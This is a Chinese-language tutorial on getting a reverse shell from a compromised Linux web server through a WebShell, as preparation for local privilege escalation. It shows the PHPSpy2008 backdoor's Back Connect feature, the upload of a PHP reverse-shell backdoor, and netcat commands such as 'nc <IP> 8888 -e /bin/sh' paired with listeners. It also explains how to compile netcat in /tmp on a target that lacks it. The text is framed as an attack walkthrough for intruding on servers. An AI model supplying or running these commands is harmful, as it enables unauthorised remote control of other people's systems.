Linux下通過WebShell反彈Shell的技巧
Linux下通過WebShell反彈CmdShell,在網(wǎng)站服務(wù)器入侵提權(quán)過程中的應(yīng)用比Windows環(huán)境下更廣更頻繁。Linux提權(quán)絕大部分都靠的是Local Exploit。WebShell一般都可以執(zhí)行命令,但是溢出必須在可交互環(huán)境運行,否則如果直接在WebShell執(zhí)行,即使能溢出提權(quán)成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執(zhí)行溢出進行提權(quán)。
使用PHP WebShell木馬反彈Shell
一般情況下,大多數(shù)PHP WebShell木馬后門都帶有的Back Connect功能彈回一個Shell。例如在PHPSpy2008木馬后門中,有一個Back Connect反彈連接功能,可以反彈獲得一個繼承當(dāng)前WebShell權(quán)限的Shell命令窗口。
在使用Back Connect反彈連接功能前,首先需要使用NC工具在本地監(jiān)聽一個未使用的端口,例如監(jiān)聽本地8888端口,執(zhí)行如下命令:
- nc -vv -l -p 8080
然后在WebShell的Back Connect反彈連接功能頁中,會自動檢測本機的IP地址,在"Your IP"中顯示本機IP,在"Your Port"中輸入監(jiān)聽的端口,這里為8080。然后選擇要使用的反彈連接方式,PHPSpy2008提供了兩種反彈連接方式,Perl和C,這里使用Perl反彈(圖1)。
圖1
設(shè)置完畢后,點擊"Start"按鈕,即可發(fā)送Shell窗口到監(jiān)聽端口了。在NC監(jiān)聽窗口中,可得到一個Shell命令行窗口(圖2)。
圖2
除了PHPSpy2008之外,還有一些專用的PHP反彈shell網(wǎng)頁后門。首先在本地用文本編輯器打開PHP反彈shell網(wǎng)頁后門文件,在其中找到如下代碼內(nèi)容:
- $yourip = "111.123.96.28";
- $yourport = '8888';
圖3
修改設(shè)置其中的反彈IP地址111.123.96.28為本機IP地址,默認(rèn)反彈端口為8888,可進行修改(圖3)。修改后保存文件,將其通過WebShell上傳。假設(shè)上傳后的鏈接地址為http://www.***.com/shell.php。然后在本地打開命令提示符窗口,執(zhí)行如下命令:
- nc -vv -l -p 8888
使用nc監(jiān)聽本地的8888端口。在瀏覽器中訪問http://www.***.com/shell.php,在nc監(jiān)聽的端口中,就可以獲得一個從網(wǎng)站服務(wù)器上返回來的命令行Shell了。#p#
使用NC反彈Shell
在進行Shell反彈時,有時會碰到服務(wù)器不支持PHP或者WebShell無法成功反彈Shell的情況,例如有的服務(wù)器只支持JSP,不支持PHP。此時,可以同樣采用Windows下的經(jīng)典的NC反彈Shell方法。
在Windows下反彈CmdShell時,首先要在本機運行"nc -vv -l -p 端口號"監(jiān)聽端口,然后在WebShell中執(zhí)行"nc -e cmd.exe 監(jiān)聽主機IP地址 端口",就可以反彈一個CmdShell。這個方法在Linux中仍然可行,只不過需要作一點小小的改動。
--在本機監(jiān)聽端口后,在WebShell運行nc反彈時,需要發(fā)送的是"/bin/sh",而不是cmd.exe,這樣才夠反彈發(fā)送一個Linux下的Shell命令行窗口給監(jiān)聽主機。例如執(zhí)行如下命令:
- nc 119.1.44.32 8888 -e /bin/sh
即可反彈一個Shell到IP地址為119.1.44.32的監(jiān)聽主機的8888端口。#p#
遠程主機無NC工具時的解決辦法
在使用NC反彈Shell時,還會碰到遠程主機上不能直接執(zhí)行nc,或者沒有安裝nc工具。碰到這樣的情況,可以給手工給遠程主機安裝一個NC,比較方便的方法是,到http://netcat.sourceforge.net/download.php下載nc源碼,然后在本地Linux機器上編譯成可執(zhí)行程序后,再將編譯文件上傳到遠程主機上。如果本地編譯的程序在遠程主機上無法使用,可以直接把源碼傳上去后,在目標(biāo)機器上直接編譯。
如果需要在目標(biāo)機器上編譯NC的話,需要注意一些問題,因為在得到Shell命令行窗口前,只能在WebShell里執(zhí)行命令,一般每次只能執(zhí)行一條,然后等待執(zhí)行后的結(jié)果回顯。
另外,在編譯時需要注意程序執(zhí)行路徑的問題。由于Linux下權(quán)限設(shè)置非常嚴(yán)格,即使攻擊者獲得了WebShell,也可能無法直接在WEB網(wǎng)頁目錄下寫入文件,只能在/tmp之類的文件夾中上傳寫入NC源文件(圖4)。
圖4
例如WebShell在/var/www/目錄,那么在WebShell中執(zhí)行命令默認(rèn)的當(dāng)前路徑都是/var/www/,如果netcat源碼包解壓在了/tmp/netcat-0.7.1文件夾,在編譯netcat進行make操作時,由于當(dāng)前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作時會出錯。解決這個問題其實很簡單,可以直接把切換路徑和make操作兩句命令寫成一句,用分號隔開寫就可以了。
將netcat-0.7.1源文件上傳到可寫文件夾/tmp中后,在WebShell中編譯nc的操作過程及命令如下:
- cd /tmp;tar zxvf /tmp/netcat-0.7.1.tar.gz
圖5
執(zhí)行該命令后,可以將netcat-0.7.1源文件解壓到/tmp/netcat-0.7.1目錄中(圖5)。然后再執(zhí)行命令:
- /tmp/netcat-0.7.1/configure
配置完畢后,再執(zhí)行如下命令進行編譯:
- cd /tmp/netcat-0.7.1;make
由于使用了分號,可同時執(zhí)行兩條命令,將make跟在目錄切換命令后面,在編譯的時候就不會報錯了(圖6)。#p#
圖6
編譯成功以后,就可以輸入命令反彈Shell了,例如這里nc路徑是/tmp/netcat-0.7.1/nc,在本地執(zhí)行"nc -vv -l -p 8080"命令監(jiān)聽8080號端口后,在WebShell中執(zhí)行如下命令(圖7):
- cd /tmp/netcat-0.7.1;nc 119.1.58.126 8080 -e /bin/sh
圖7
即可向主機反彈回一個Shell命令行窗口了。需要注意的是,反彈的Linux Shell是沒有$提示符的,執(zhí)行一句返回一句(圖8)。另外,這里反彈Shell時候運行的是/bin/sh,也可以反彈運行/bin/bash,但/bin/sh的權(quán)限比/bin/bash要設(shè)置松一些,因此成功率更高一些。
圖8
【編輯推薦】